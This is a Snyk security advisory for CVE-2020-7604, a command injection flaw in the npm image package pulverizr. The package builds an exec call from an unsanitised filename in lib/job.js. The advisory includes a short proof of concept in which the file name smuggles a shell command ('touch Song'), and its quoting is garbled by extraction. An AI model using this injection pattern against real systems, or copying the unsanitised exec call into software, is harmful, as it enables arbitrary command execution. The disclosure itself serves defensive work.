Command Injection Affecting pulverizr package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
1.02% (85th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-PULVERIZR-560122
  • published13 Mar 2020
  • disclosed13 Mar 2020
  • creditJHU System Security Lab

Introduced: 13 Mar 2020

CVE-2020-7604  (opens in a new tab)
CWE-78  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for pulverizr.

Overview

pulverizr is a to smash your images down to size.

Affected versions of this package are vulnerable to Command Injection. Within lib/job.js, the variable filename can be controlled by the attacker. This function uses the variable filename to construct the argument of the exec call without any sanitization.

In order to successfully exploit this vulnerability, an attacker will need to create a new file with the same name as the attack command.

PoC

var root = require("pulverizr");
var fs = require("fs");
var attack_code = "touch Song";

var injection_code = ""&" + attack_code + "&"a.jpg" var inputs = [injection_code] fs.writeFile(injection_code, "123", function(){});

var job = root.createJob(inputs, {}); job.run();

References

CVSS Scores

version 3.1